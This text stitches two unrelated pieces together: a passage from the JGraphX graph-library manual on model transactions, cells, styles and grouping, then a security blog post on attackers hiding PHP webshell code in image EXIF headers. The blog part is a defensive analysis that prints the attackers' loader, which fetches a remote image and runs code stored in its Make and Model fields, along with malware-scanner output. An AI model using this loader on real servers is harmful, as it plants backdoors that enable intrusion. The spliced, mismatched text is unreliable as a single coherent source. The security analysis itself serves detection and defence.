       Object v1 = graph.addVertex(parent, null, "Hello,", 20, 20, 80, 30);
       Object v2 = graph.addVertex(parent, null, "World!", 200, 150, 80, 30);
       Object e1 = graph.addEdge(parent, null, "", v1, v2);
    }
    finally
    {
       // Updates the display
       graph.getModel().endUpdate();
    }
    
[/code]

to perform the insertion of the 2 vertices and 1 edge. For each change to the
model you make a call to beginUpdate\(\), make the appropriate calls to change
the model, then call endUpdate\(\) to finalize the changes and have the change
event notifications sent out.

**Key API Methods:**

  * **mxGraphModel.beginUpdate\(\)** \- starts a new transaction or a sub-transaction.
  * **mxGraphModel.endUpdate\(\)** \- completes a transaction or a sub-transaction.
  * **mxGraph.addVertex\(\)** \- Adds a new vertex to the specified parent cell.
  * **mxGraph.addEdge\(\)** \- Adds a new edge to the specified parent cell.

**Note** – Technically you do not have to surround your changes with the begin
and end update calls. Changes made outside of this update scope take immediate
effect and send out the notifications immediately. In fact, changes within the
update scope enact on the model straight away, the update scope is there to
control the timing and concatenation of event notifications. Unless the update
wrapping causes code aesthetic issues, it is worth using it by habit to avoid
possible problems with event and undo granularity.

Note the way in which the model changes are wrapped in a try block and the
endUpdate\(\) in a finally block. This ensures the update is completed, even
if there is an error in the model changes. You should use this pattern
wherever you perform model changes for ease of debugging.

Ignore the reference to the parent cell for now, that will be explained later
in this chapter.

### The Transaction Model

The sub-transaction in the blue block above refers to the fact that
transactions can be nested. That is, there is a counter in the model that
increments for every _beginUpdate_ call and decrements for every _endUpdate_
call. After increasing to at least 1, when this count reaches 0 again, the
model transaction is considered complete and the event notifications of the
model change are fired.

This means that every sub-contained section of code can \(and should\) be
surrounded by the begin/end combination. This provide the ability in JGraphX
to create separate transactions that be used as “library transactions”, the
ability to create compound changes and for one set of events to be fired for
all the changes and only one undo created. Automatic layouting is a good
example of where the functionality is required.

In automatic layouting, the user makes changes to the graph, usually through
the user interface, and the application automatically positions the result
according to some rules. The automatic positioning, the layouting, is a self-
contained algorithm between begin/end update calls that has no knowledge of
the specifics of the change. Because all changes within the begin/end update
are made directly to the graph model, the layout can act upon the state of the
model as the change is in progress.

It is important to distinguish between functionality that acts on the graph
model as part of a compound change and functionality that reacts to atomic
graph change events. In the first case, such as for automatic layouting, the
functionality takes the model as-is and acts upon it. This method should only
be used for parts of compound model changes. All other parts of the
application should only react to model change events.

Model change events are fired when the last endUpdate call reduces the counter
back down to 0 and indicate that at least one atomic graph change has
occurred. The change event contains complete information as to what has
altered \(see later section on **Events** for more details\).

#### The Model Change Methods

Below is a list of the methods that alter the graph model and should be
placed, directly or indirectly, with the scope of an update:

  * add\(parent, child, index\)
  * remove\(cell\)
  * setCollapsed\(cell, collapsed\)
  * setGeometry\(cell, geometry\)
  * setRoot\(root\)
  * setStyle\(cell, style\)
  * setTerminal\(cell, terminal, isSource\)
  * setTerminals\(edge,source,target\)
  * setValue\(cell, value\)
  * setVisible\(cell, visible\)

Initially, we will just concern ourselves with the add and remove, as well as
the geometry and style editing methods. Note that these are not core API
methods, as usual these methods are on the mxGraph class, where appropriate,
and they perform the update encapsulation for you.

_Design Background_ \- Some people are confused by the presence of visual
information being stored by the model. These attributes comprise cell
positioning, visibility and collapsed state. The model stores the default
state of these attributes, providing a common place to set them on a per-cell
basis, whereas, views can override the values on a per-view basis. The model
is simply the first common place in the architecture where these attributes
can be set on a global basis. Remember, this is a graph _visualization_
library, the visualization part is the core functionality.

##### Inserting Cells

The three graph cells created in the `HelloWorld` application are two vertices
and one edge connecting the vertices. If you are not familiar with basic graph
theory and its terminology, please see the wikipedia entry.

You can add vertices and edges using the add\(\) method on the model. However,
for the purposes of general usage of this library, learn that
mxGraph.insertVertex\(\) and mxGraph.insertEdge\(\) are the core public API
for adding cells. The method of the model requires that the cell to be added
is already created, whereas the mxGraph.insertVertex\(\) creates the cell for
you.

**Core API methods:**

  * **mxGraph.insertVertex\(****parent, id, value, x, y, width, height, style****\)** – creates and inserts a new vertex into the model, within a begin/end update call.
  * **mxGraph.insertEdge\(****parent, id, value, source, target, style****\)** **–** creates and inserts a new edge into the model, within a begin/end update call.

`mxGraph.insertVertex()` will create an mxCell object and return it from the
method used. The parameters of the method are:

  * **parent** – the cell which is the immediate parent of the new cell in the group structure. We will address the group structure shortly, but for now use `graph.getDefaultParent();` as your default parent, as used in the HelloWorld example.
  * **id** – this is a global unique identifier that describes the cell, it is always a string. This is primarily for referencing the cells in the persistent output externally. If you do not wish to maintain ids yourself, pass null into this parameter and ensure that mxGraphModel.isCreateIds\(\) returns true. This way the model will manage the ids and ensure they are unique.
  * **value** – this is the user object of the cell. User object are simply that, just objects, but form the objects that allow you to associate the business logic of an application with the visual representation of JGraphX. They will be described in more detail later in this manual, however, to start with if you use a string as the user object, this will be displayed as the label on the vertex or edge.
  * **x, y, width, height** – as the names suggest, these are the x and y position of the top left corner of the vertex and its width and height.
  * **style** – the style description to be applied to this vertex. Styles will be described in more detail shortly, but at a simple level this parameter is a string that follows a particular format. In the string appears zero or more style names and some number of key/value pairs that override the global style or set a new style. Until we create custom styles, we will just use those currently available.

With the edge addition method, the identically named parameters perform the
same method as in the vertex addition method. The source and target parameters
define the vertices to which the edge is connected. Note that the source and
target vertices should already have been inserted into the model.

### mxCell

mxCell is the cell object for both vertices and edges. mxCell duplicates many
of the methods available in the model. The key difference in usage is that
using the model methods creates the appropriate event notifications and undo,
using the cell makes the change but there is no record of the change. This can
be useful for temporary visual effects such as animations or changes on a
mouse over, for example. As a general rule though, use the model editing API
unless you encounter a specific problem with this mechanism.

When creating a new cell, three things are required in the constructor, a
value \(user object\), a geometry and a style. We will now explore these 3
concepts before returning to the cell.

#### Styles

The concept of styles and stylesheets in conceptually similar to CSS
stylesheets. Open up the util.mxConstants.js file in your editor and search
for the first match on “STYLE\_”. If you scroll down you will see a large
number of strings defined for all the various styles available with this
prefix. Some of styles apply to vertices, some to edges and some to both. As
you can see, these define visual attributes on the element they act upon.

The mxStylesheet holds one object, styles, which is a hashtable mapping style
names to an array of styles:

<img src='img/mx_man_styles.png' />  
_Style arrays within the styles collection_

  

In the above image the blue box represents the styles hashtable in
mxStyleSheet. The string 'defaultVertex' is the key to an array of
string/value pairs, which are the actual styles. Note that JGraphX creates two
default styles, one for vertices and one for edges. If you look back to the
helloworld example, no style was passed into the optional style parameter of
insertVertex or insertEdge. In this case the default style would be used for
those cells.

##### Setting the Style of a Cell

If you wanted to specify a style other than the default for a cell, you must
pass that new style either to the cell when it is created \(mxGraph's
insertVertex and insertEdge both have an optional parameter for this\) or pass
that style to the cell using model.setStyle\(\).

The style that you pass has the form stylename. ,note that the stylenames and
key/value pairs may be in any order. Below are examples to demonstrate this
concept, adapting the insertVertex call we saw in helloworld:

  1. A new style called 'ROUNDED' has been created, to apply this to a vertex:
[code]    Object v1 = graph.insertVertex(parent, null, "Hello", 20, 20, 80,
30, "ROUNDED");

    
[/code]

  2. To create a new vertex with the ROUNDED style, overriding the stroke and fill colors:
[code]    Object v1 = graph.insertVertex(parent, null, "Hello",  20, 20, 80,
30, "ROUNDED;strokeColor=red;fillColor=green");

    
[/code]

  3. To create a new vertex with no global style, but with local stroke and fill colors:
[code]    Object v1 = graph.insertVertex(parent, null, "Hello", 20, 20, 80,
30, ";strokeColor=red;fillColor=green");

    
[/code]

  4. To create a vertex that uses the defaultVertex style, but a local value of the fill color:
[code]    Object v1 = graph.insertVertex(parent, null, "Hello", 20, 20, 80,
30, "defaultVertex;fillColor=blue");

    
[/code]

  

Note that default style must be explicitly named in this case, missing the
style out sets no global style on the cell when the semi-colon starts the
string. If the string starts with no semi-colon, the default style is used.

Again, the mxGraph class provides utility methods that form the core API for
accessing and changing the styles of cells:

**Core API methods:**

  * **mxGraph.setCellStyle\(style, cells\)** – Sets the style for the array of cells, encapsulated in a begin/end update.
  * **mxGraph.getCellStyle\(cell\)** – Returns the style for the specified cell, merging the styles from any local style and the default style for that cell type.

##### Creating a New Global Style

To create the ROUNDED global style described above, you can follow this
template to create a style and register it with mxStyleSheet:

[code]

    mxStylesheet stylesheet = graph.getStylesheet();
    Hashtable<String, Object> style = new Hashtable<String, Object>();
    style.put(mxConstants.STYLE_SHAPE, mxConstants.SHAPE_RECTANGLE);
    style.put(mxConstants.STYLE_OPACITY, 50);
    style.put(mxConstants.STYLE_FONTCOLOR, "#774400");
    stylesheet.putCellStyle("ROUNDED", style);
    
[/code]

#### Geometry

In the helloworld example you can see the position and size of the vertices
passed into the insertVertex method. The coordinate system in Java is x is
positive to the right and y is positive downwards, and in terms of the graph,
the positioning is absolute to the container within which the mxGraph is
placed.

The reason for a separate mxGeometry class, as opposed to simply having the
mxRectangle class store this information, is that the edges also have geometry
information.

The width and height values are ignored for edges and the x and y values
relate to the positioning of the edge label. In addition, edges have the
concept of control points. These are intermediate points along the edge that
the edge is drawn as passing through. The use of control points is sometimes
referred to as **edge routing**.

<img src='img/mx_man_edge_routing.png' />  
_An edge routed by 2 control points_

There are two more important additional concepts in geometry, relative
positioning and offsets

##### Relative Positioning

By default, the x and y position of a vertex is the offset of the top left
point of the bounding rectangle of the parent to the top left point of the
bounding rectangle of the cell itself. The concept of parents and groups is
discussed later in this chapter, but without going into too much detail, if a
cell does not have cell parent, the graph container is its parent for
positioning purposes.

<img src='img/mx_man_non_relative_pos.png' />  
_Non-relative vertex positioning_

  

For an edge, in non-relative mode, which is the default mode, the edge label
position is the absolute offset from the graph origin.

<img src='img/mx_man_non_realtive_edge_pos.png' />  
_Non-relative edge label positioning_

  

For vertices in relative mode, \(x,y\) is the proportion along the parent
cell's \(width, height\) where the cell's origin lies. \(0,0\) is the same
origin as the parent, \(1,1\) places the origin at the bottom right corner of
the parent. The same relative positioning extends below 0 and above 1 for both
dimensions. This positioning is useful for keeping child cells fixed relative
to the overall parent cell size.

<img src='img/mx_man_rel_vert_pos.png' />  
_Relative vertex positions_

  

Lastly, edge labels in relative mode are palced based on the positioning from
the center of the edge. The x-coordinate is the relative distance from the
source end of the edge, at -1, to the target end of the edge, at 1. The y co-
ordinate is the pixel offset orthogonal from the edge. The diagram below shows
the values of x,y for various edge labels in relative mode. Note that for a
straight edge, the calculations are simple. For edges with multiple control
points, the edge has to be traced along its segments \(a segment being the
line between end points and/or control points\) to find the correct distance
along the edge. The y value is the orthogonal offset from that segment.

Switching relative positioning on for edge labels is a common preference for
applications. Navigate to the mxGraph.insertEdge\(\) method in mxGraph, you
will see this calls createEdge\(\). In createEdge\(\) the geometry is set
relative for every edge created using this prototype. This is partly the
reason for the amount of helper methods in mxGraph, they enable easy changing
of the default behaviour. You should try to use the mxGraph class API as much
as possible to provide this benefit in your applications.

##### Offsets

The offset field in mxGeometry is an absolute x,y offset applied to the cell
**label**. In the case of edge labels, the offset is always applied after the
edge label has been calculated according to the relative flag in the above
section.

**Core API methods:**

  * **mxGraph.resizeCell\(cell, bounds\)** – Resizes the specified cell to the specified bounds, within a begin/end update call.
  * **mxGraph.resizeCells\(cells, bounds\)** – Resizes each of the cells in the cells array to the corresponding entry in the bounds array, within a begin/end update call.

#### User Objects

The User object is what gives JGraphX diagrams a context, it stores the
business logic associated with a visual cell. In the HelloWorld example the
user object has just been a string, in this case it simply represents the
label that will be displayed for that cell. In more complex applications,
these user objects will be objects instead. Some attribute of that object will
generally be the label that the visual cell will display, the rest of the
object describes logic relating to the application domain.

Using the example of a simple workflow or process application, say we have the
graph below:

<img src='img/mx_man_simple_workflow.png' />  
_A simple workflow_

  

Say the user right clicked and selected properties of the “Check Inventory”
diamond, they might see this dialog:

<img src='img/mx_man_vertex_props.png' />  
_The properties of a vertex_

  

These properties show the geometry, label, ID etc, but a dialog could just as
easily show the user object of the cell. There might be a reference to some
process on the workflow engine as to how the inventory is actually checked.
This might be an application specific mechanism for both the server and client
to assign some identification to remote method calls. Another value might be
the type of object that process returned, maybe a boolean or an integer to
indicate stock level in this case. Given that return type, it is possible to
enforce constraints with the diagram and provide visual alerts of if, say, the
outgoing edges decision check does not correspond to the return type of the
vertex.

Next, as an example, the user objects of the outgoing edges might contain a
label and a boolean state. Again, the JGraphX-based editor might provide the
means to alter the boolean value. When executing the process, it might follow
the edges that correspond to the boolean value returned by the decision node.

Keep in mind that the above example is very domain specific, it is there to
explain how the user object maps to the business logic of the application. It
visualizes how JGraphX creates what we term a **contextual graph**. The
context is formed by the connections between vertices and the business logic
stored within the user objects. A typical application receives the visual and
business logic from a sever, may allow editing of both, then transmits both
back to the server for persistence and/or execution.

#### Cell Types

As described previously, mxGraph is the primary API for using this library and
the same concept applies to cells. One basic state of the cell not exposed on
the graph is whether a cell is a vertex or an edge, this call be performed on
the cell or on the model.

There are two boolean flags on mxCell, vertex and edge, and the helper methods
set one of these to true when the cell is created. isVertex\(\), isEdge\(\) on
mxIGraphModel are what the model uses to determine a cell's type, there are
not separate objects for either type. Technically, it is possible to switch
the type of a cell at runtime, but take care to invalidate the cell state
\(see later section\) after changing the type. Also, be aware that the
geometry object variable means different things to vertices and edges.
Generally, it is not recommended to change a cell type at runtime.

### Group Structure

Grouping, within JGraphX, is the concept of logically associating cells with
one another. This is commonly referred to as the concept of sub-graphs in many
graph toolkits. Grouping involves one or more vertices or edges becoming
children of a parent vertex or edge \(usually a vertex\) in the graph model
data structure. Grouping allows JGraphX to provide a number of useful
features:

  * Sub-graphs, the concept of a logically separate graph that is displayed in the higher level graph as a cell per sub-graph.
  * Expanding and collapsing. Collapsing is the ability to replace a collection of grouped cells visually with just their parent cell. Expanding is the reverse of this. This behaviour can be seen by clicking the small “-” in the top left corner of the group cells when they are created in the GraphEditor example. This is described in the C _omplexity Management_ section below.
  * Layering. Layering is the concept of assigning cells to a particular z-order layer within the graph display.
  * Drill down, step up. These concepts allow sub-graphs to be visualized and edited as if they are a complete graph. In the _User Objects_ section we saw the “check inventory” vertex as a single cell. Take, for example, the case where a developer is describing each of the vertices in the process as the software processes that perform the task. The application might have an option to drill down into the check inventory vertex. This would result in a new graph appearing that describes in detail how exactly the system checks the inventory. The graph might have the title of the parent “check inventory” vertex to indicate it is a child, as well as the option to step-up back to the next level up.

In grouping, cells are assigned a parent cell. In the simplest case, all cells
have the default parent as their parent. The default parent is an invisible
cell with the same bounds as the graph. This is the cell returned by
graph.getDefaultParent\(\) in the helloworld example. The x,y position of a
vertex is its position relative to its parent, so in the case of default
grouping \(all cells sharing the default parent\) the cell positioning is also
the absolute co-ordinates on the graph component. In the case all cells being
added to the default root, the group structure logically looks like, in the
case of the helloworld example, the diagram below.

Note the addition of the Layer 0 cell, this is the default indirection in the
group structure that allows layer changes with the requirement of additional
cells. We include it below for correctness, but in later group diagrams it
will be omitted.

<img src='img/mx_man_hello_struct.png' width='441' height='241' />  
_The group structure of the helloworld example_

  

Also, note that the position of the edge label \(x,y in geometry\) is relative
to the parent cell.

If we go back to the simple workflow example in the User Objects section, we
can see what grouping might look like visually. In the example the group cells
represent people and the child vertices represent tasks assigned to those
people. In this example the logical group structure looks like this:

<img src='img/mx_man_log_group_struct.png' />  
_The logical group structure of the workflow example_

  

The workflow action vertices are the yellow children and the swimlane group
vertices are marked blue.

Inserting cells into the group structure is achieved using the parent
parameter of the insertVertex and insertEdge methods on the mxGraph class.
These methods set the parent cell on the child accordingly and, importantly,
informs the parent cell of its new child.

Altering the group structure is performed via the mxGraph.groupCells\(\) and
mxGraph.ungroupCells\(\) methods.

**Core API methods:**

  * **mxGraph.groupCells\(group, border, cells\)** – Adds the specified cells to the specified group, within a begin/end update
  * **mxGraph.ungroupCells\(cells\)** – Removes the specified cells from their parent and adds them to their parent's parent. Any group empty after the operation are deleted. The operation occurs within a begin/end update.

### Complexity Management

There are two primary reasons to control the number of cells displayed at any
one time. The first is performance, drawing more and more cells will reach
performance usability limits at some point on any platform. The second reason
is ease of use, a human can only comprehend a certain amount of information.
All of the concepts associated with grouping, listed above, can be used to
reduce the complexity of information on the screen for the user.

#### Folding

Folding is the collective term we use for expanding and collapsing groups. We
say a cell is folded by making it's child vertices invisible. There are a
number of methods relating to this feature:

**Core API method:**

  * **mxGraph.foldCells\(collapse, recurse, cells\)** – States the collapsed state of the specificed cells, within a begin/end update.

**Folding related methods:**

**mxGraph.isCellFoldable\(cell, collapse\)** – By default true for cells with
children.

**mxGraph.isCellCollapsed\(cell\)** – Returns the folded state of the cell

When a group cell is collapsed, three things occur by default:

  * The children of that cell become invisible.
  * The group bounds of the group cell is used. Within mxGeometry there is a alternativeBounds field and in groups cells, by default store a separate bounds for their collapsed and expanded states. The switch between these instances is invoked by mxGraph.swapBounds\(\) and this is handled for you within a foldCells\(\) call. This allows collapsed groups to be resized whilst when expanded again the size looks correct using the pre-collapsed size.
  * Edge promotion occurs, by default. Edge promotion means displaying edges that connect to children within the collapsed group that also connect to cells outside of the collapsed group, by making them appear to connect to the collapsed parent.

<img src='img/mx_man_expand_swim.png' />  
_Expanded swimlane_

<img src='img/mx_man_collapse_swim.png' />  
 _Collapsed Swimlane_

The above two images demonstrate these three concepts. In its expanded state
the upper group cell displays a small box in the top left hand corner with a
“-” character inside. This indicates that clicking on this box collapses the
group cell. Doing this we get the bottom image where the group cell takes on
its collapsed size. Child vertices and edge that do not leave the group cell
are made invisible. Finally, edges that exit the group cell are promoted to
appear to be connected to the collapsed group cell. Clicking on the “+”
character that now appears within the box expands the group cell and brings it
back to its original state of the top image.

Using the mxGraph.foldCells\(\) function, you can achieve the same result
programmatically as clicking on the expand/collapse symbols. One common usage
of this is when the application zooms out a specific amount, clusters of cells
are grouped and the grouped cell collapsed \(very often without the “-” box
since the application is controlling the folding\). This way fewer, larger
cells are visible to the user, each one representing their children cells
logically. You might then provide a mechanism to zoom into a group, which
expands it in the process. You might also provide drill-down/step-up,
explained next.

#### Sub-Graphs, Drill-Down / Step-Up

Sometimes, as an alternative to expand/collapse, or possibly in combination
with it, your graph will be composed of a number of graphs, nested into a
hierarchy. Below we see a simple example:

<img src='img/mx_man_drill_down.png' />  
_An example top level workflow_

  

This simple workflow consists of three high level steps. Obviously, the
individual steps contain a number of sub-steps and we will look at a sub-graph
of the _Solve Bug_ cell.

Under the _Solve Bug_ vertex we have created a number of children to represent
the process of solving a bug in more detail, in this case the process of
solving a bug on the Starship Enterprise.

In this example, which uses the GraphEditor example, the menu option shown
selected in the above image invokes mxGraph.enterGroup\(cell\), which is one
of the pair of core API functions for sub-graphs.

**Core API methods:**

  * **mxGraph.enterGroup\(cell\)** – Makes the specified cell the new root of the display area.
  * **mxGraph.exitGroup\(\)** \- Makes the parent of the current root cell, if any, the new root cell.
  * **mxGraph.home\(\)** \- Exits all groups, making the default parent the root cell.

The root cell of the graph has been, up to now, the default parent vertex to
all first-level cells. Using these functions you can make any group cell in
the group structure the root cell, so that the children of that parent appear
in the display as the complete graph.

<img src='img/mx_man_drilling.png' />  
_Result of drilling down into the Solve Bug vertex_

The same graph expanded using folding instead looks like:

<img src='img/mx_man_top_level.png' width='695' height='227' />

Exiting the group using the _shape- >exit group_ option, which invokes
mxGraph.exitGroup, brings you back to the original 3 vertex top level graph.

#### Layering and Filtering

In JGraphX, like many graphical applications, there is the concept of z-order.
That is, the order of objects as you look into the screen direction. Objects
can be behind or in front of other objects and if they overlap and are opaque
then the back-most object will be partially or complete obscured. Look back to
the graph structure of HelloWorld illustration above. Children cells are
stored under parents in a deterministic order \(by default the order in which
you add them\).

If we move the cells in the HelloWorld example we see the following result:

<img src='img/mx_man_overlap.png' />  
_Overlapped vertices_

It can be seen that the _World_ vertex is in front of the _Hello_ vertex. This
is because the _World_ vertex has a higher child index than the _Hello_
vertex, at positions 1 and 0 respectively in the ordered collection that holds
the children of the root cell.

To change order we use mxGraph.orderCells.

**Core API method:**

  * **mxGraph.orderCells\(back, cells\)** – Moves the array of cells to the front or back of their siblings, depending on the flag, within a begin/end update.

A sibling cell in JGraphX is any cell that shares the same parent. So by
invoking this on the _Hello_ vertex it would then overlap the _World_ Vertex.

Ordering and grouping can be extended to form logically layered groups. The
cells are drawn via a depth-first search. Take the HelloWorld example again
and imagine that both the _Hello_ and _World_ vertices have some hierarchy of
children underneath them. The _Hello_ vertex and all of its children will be
drawn before the _World_ vertex or any of its children. If _Hello_ and _World_
were invisible group cells you then have two hierarchies of cells, one being
drawn entirely before the other. You can also switch the order of the
hierarchies by simply switching the order of the invisible group cells.

In _filtering_ cells with some particular attribute are displayed. One option
to provide filtering functionality is to check some state before rendering the
cells. Another method, if the filtering conditions are simple and known in
advance, is to assign filterable cells by groups. Making the groups visible
and invisible performs this filtering operation.

  

# Visual Customization

## Core JGraphX Visuals

Within the core JGraphX library, by that we mean we exclude the editor
functionality, which provides application level features, there are a number
of mechanisms to define the appearance of cells. These split into vertex
customizations and edge customizations

### Customizing Vertices

#### Stencils

Stencils are sets of pre-defined vector shapes that can be added at run-time
to JGraphX without the requirement to programmatically define how they are
drawn. Instead, they are defined using using SVG. The entire format for
describing shapes is based on the shape format used by the Dia diagramming
software. This gives access to the stencils already available from that tool
and encourages a common, standardised format, rather than creating yet-another
custom format.

The Dia shape format describes two files per shape, a .PNG image of the shape
and the XML .shape description file. You can obtain a zip of the stencils
shipped with the Dia application from here at the JGraph web site. Unzip the
file and you will find within a number of directories containing shape/PNG
pairs, the directories forming what we refer to as "stencils", the set of
shapes.

Stencils can be seen in practice using the GraphEditor example that ships with
JGraphX. Under the main menu select File->Import Stencil and navigate to the
location you unzipped the downloaded shapes and perform a directory selection
to load all of the shapes within that directory. These shapes can be dragged
and dropped onto the graph and behave like a standard vertex for all
operations performed on them. Note that the Dia shapes are licensed under the
terms of the GPL version 3. This does not affect the licensing of any software
displaying the shapes, it simply means that you must allow users to view the
XML the shapes are defined in and any shapes derived from these shapes, if
they request it.

  

<img src='img/mx_man_stencil_loaded.png' />  
_A stencil set loaded into the GraphEditor Library_

`com.mxgraph.examples.swing.editor.EditorActions.ImportAction` provides the
example `addStencilShape` method for registering new stencil shapes and adding
them to a palette. The second parameter to this method, `nodeXml` is the XML
as obtained from the .shape file. You could add a single shape to the shape
registry using:

[code]

    String nodeXml = mxUtils.readFile(fc.getSelectedFile().getAbsolutePath());
    String name = ImportAction.addStencilShape(null, nodeXml, null);
    
[/code]

Where fc is a `FileChooser`. This parses, stores and registers the .shape
selected. The name under which it is registered matches the `name` element
obtained from that .shape file. So if that name were BPMN-Gateway, for
example, adding:

[code]

    shape=BPMN-Gateway
    
[/code]

to the style string of a vertex or:

[code]

    style.put(mxConstants.STYLE_SHAPE, "BPMN-Gateway");
    
[/code]

to the style map of a vertex, would cause that vertex to be rendered according
the SVG in that .shape file. If you wanted to add a complete set of shapes, a
stencil set, then generally you would add the set to a palette at the time of
import. `com.mxgraph.examples.swing.editor.BasicGraphEditor` under the
examples package, provides the `insertPalette(String title)` method. Thus:

[code]

    EditorPalette palette = editor.insertPalette(fc.getSelectedFile().getName());
    
[/code]

where fc is a `FileChooser` provides the palette to pass to:

[code]

    for (File f : fc.getSelectedFile().listFiles(
                    new FilenameFilter()
                    {
                            public boolean accept(File dir,
                                            String name)
                            {
                                    return name.toLowerCase().endsWith(
                                                    ".shape");
                            }
                    }))
    {
            String nodeXml = mxUtils.readFile(f.getAbsolutePath());
            ImportAction.addStencilShape(palette, nodeXml, f.getParent() + File.separator);
    }
    
[/code]

Where we iterate through each .shape file within a directory selection and
call `addStencilShape` passing in the collective palette, the string XML of
the .shape file and the path to that directory, the path being used to obtain
the .PNG files that will be used as the icons displayed in the palette. This
code can be seen in practice \(the code invoked by Import Stencil on Graph
Editor\) in `com.mxgraph.examples.swing.editor.EditorActions.ImportAction`
within the `actionPerformed` method.

If you want a graphical method to create new shapes, currently this is only
possible using the Dia tool itself. The JGraphX roadmap includes the
deployment of an online tool to create custom shapes easily, however.

# Hiding Webshell Backdoor Code in Image Files - SpiderLabs Anterior

**Created:**| _10/14/2013 12:04:12 PM_  
---|---  
**Updated:**| _10/14/2013 12:04:12 PM_  
**Author:**| __  
**Tags:**| _web-app-sec backdoor_  
  

# **L** ooks Can Be Deceiving****

Do any of these pictures look suspicious**?**

<img src='img/Temp2_3885.png' alt='Screen Shot 2013-10-11 at 3.39.08 PM' />

First appearances may be deceiving..**.** Web attackers have have been using a
method of stashing pieces of their PHP backdoor exploit code within the meta-
data headers of these image files to evade detections**.** This is not a
completely new tactic however it is not as well known by the defensive
community so we want to raise awareness**.** Let's first take a quick look at
why this technique is being utlized by attackers**.**

# Standard Webshell Backdoor Code****

There are many methods attackers employ to upload Webshell backdoor code onto
compromised web servers including Remote File Inclusion \(RFI\) , Wordpress
TimThumb Plugin  and even non-web attack vectors such as Stolen FTP
Credentials**.** Here is a graphic taken from this years Trustwave SpiderLabs
Global Security Report that lists the top malicious file types uploaded to
compromised web servers:

<img src='img/Temp2_3882.png' alt='MaliciousRFI_graphic' />

  
Let's take a look at a standard obfuscated R57 shell example:

<img src='img/Temp2_3878.png' alt='Screen Shot 2013-10-11 at 12.26.17 PM' />

  
  
Notice the Base64 encoded parameter data and then the PHP Eval call at the
end**.** Once PHP executes this code, it will decode and inflate the data
stream and the result will be a basic file uploader webshell similar to the
following:

<img src='img/Temp2_3884.png' alt='Screen Shot 2013-10-11 at 12.28.17 PM' />

# Incident Response Steps - Identification and Eradication **** ;

These types of attacks and compromises are so prevalent in Shared Hosting
environments where end users do not properly update their web application
software**.** In response to these types of scenarios, Hosting Provider
security teams often employ OS-level back-end processes that scan the local
file systems looking for tell-tale signs of webshell backdoor code**.** One
example tool is called MalDetect **.** This script can be run to analyze files
and detect various forms of malicious code**.** If we run maldetect against
our example R57 webshell file we get the following:

[code]

    **$ sudo /usr/local/maldetect/maldet --config-option quar_hits=0,quar_clean=0,clamav_scan=1 -a "/tmp/lin.php"**  
    Linux Malware Detect v1**.** 4.2  
                (C) 2002-2013, R-fx Networks <proj@r-fx.org>  
                (C) 2013, Ryan MacDonald <ryan@r-fx.org>  
    inotifywait (C) 2007, Rohan McGovern <rohan@mcgovern**.** id.au>  
    This program may be freely redistributed under the terms of the GNU GPL v2  
      
    maldet(92294): {scan} signatures loaded: 9011 (7145 MD5 / 1866 HEX)  
    maldet(92294): {scan} building file list for /tmp/lin.php, this might take awhile..**.**  
     maldet(92294): {scan} file list completed, found 1 files..**.**  
     maldet(92294): {scan} 1/1 files scanned: 0 hits 0 cleaned  
    **maldet(92294): {scan} scan completed on /tmp/lin.php: files 1, malware hits 1, cleaned hits 0**  
    **maldet(92294): {scan} scan report saved, to view run: maldet --report 101113-1250**.** 92294**  
    maldet(92294): {scan} quarantine is disabled**!** set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250**.** 92294
    **$ sudo maldet --report 101113-1250.92294**
    malware detect scan report for MacBook-Pro-2.local:
    SCAN ID: 101113-1250**.** 92294
    TIME: Oct 11 12:50:48 -0400
    PATH: /tmp/lin.php
    TOTAL FILES: 1
    TOTAL HITS: 1
    TOTAL CLEANED: 0
    
    NOTE: quarantine is disabled**!** set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250**.** 92294
    FILE HIT LIST:
    **{MD5}base64.inject.unclassed**.** 1 : /tmp/lin.php**
    ===============================================
    Linux Malware Detect v1**.** 4.2 < proj@rfxn.com >
    
    
[/code]

As you can see, maldetect identified this PHP file with of of its generic
base64 injection signatures**.** While this indivudual file scanning does
work, for managability, most organizations opt to run maldetect as part of an
ogoing automated process run through scheduling tools such as Cron**.** The
big problem with this process is that, for performance reasons, many
organizations opt to only scan PHP files and exclude other file types from
being scanned..**.**

# Hiding Webshell Backdoor Code in Image Files **** ;

This brings us back to the beginning of the blog post**.** Due to the cleanup
tactics used by most organizations, the bad guys had to figure out a method of
hiding their backdoor code in places that most likely would not be
inspected**.** In this case, we are talking about hiding PHP code data within
the Exif image header fields **.** The concept of Stegonography is not new and
there have been many past examples of its use for passing data, however we are
now seeing it used for automated code execution**.** I do want to give a
proper hat-tip to the Sucuri Research Team who also found similar techniques
being employed**.**

## PHP Code In EXIF Headers****

If you were to view-source in a browser or use something like the unix strings
command, you could see the new code added to the top of the image files:

<img src='img/Temp2_3881.png' alt='Screen Shot 2013-10-11 at 1.10.12 PM' />

After uploading this file to VirusTotal , you can see a more friendly
representation of the EXIF fields:

<img src='img/Temp2_3883.png' alt='Screen Shot 2013-10-11 at 1.18.14 PM' />

As you can see, the PHP code is held within the EXIF "Model" and "Make"
fields**.** This data does not in any way interfere with the proper rendering
of the image file itself**.**

## PHP's exif\_read\_data function****

PHP has a function called exif\_read\_data  which allows it to read the header
data of image files**.** It is used extensivly in many different plugins and
tools **.** Here is an example from Facebook's GitHub Repo:

<img src='img/Temp2_3879.png' alt='Screen Shot 2013-10-11 at 1.41.34 PM' />

## Updated PHP Webshell Code****

So, with pieces of their webshell stashes away within the EXIF headers of
either local or remote image files, the attackers can then modify their PHP
code to leverage the PHP exif\_read\_data function like this:

[code]

    <**?** php
    $exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');
    preg_replace($exif['Make'],$exif['Model'],'');
    **?** >
    
[/code]

The first line downloads a remote jpg image file with the stashes code in it
and then sets the $exif variable with the array value**.** We can modify this
PHP code to simulate this by downloading the same files and then dumping the
$exif data:

[code]

    <**?**
    $exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');  
    var_dump($exif);  
    **?** >
[/code]

When executing this php file, we get the following output:

[code]

    **$ php**.** /exif_dumper.php**  
    array(9) {  
      ["FileName"]=>  
      string(18) "Logo_Coveright.jpg"  
      ["FileDateTime"]=>  
      int(0)  
      ["FileSize"]=>  
      int(6159)  
      ["FileType"]=>  
      int(2)  
      ["MimeType"]=>  
      string(10) "image/jpeg"  
      ["SectionsFound"]=>  
      string(13) "ANY_TAG, IFD0"  
      ["COMPUTED"]=>  
      array(5) {  
        ["html"]=>  
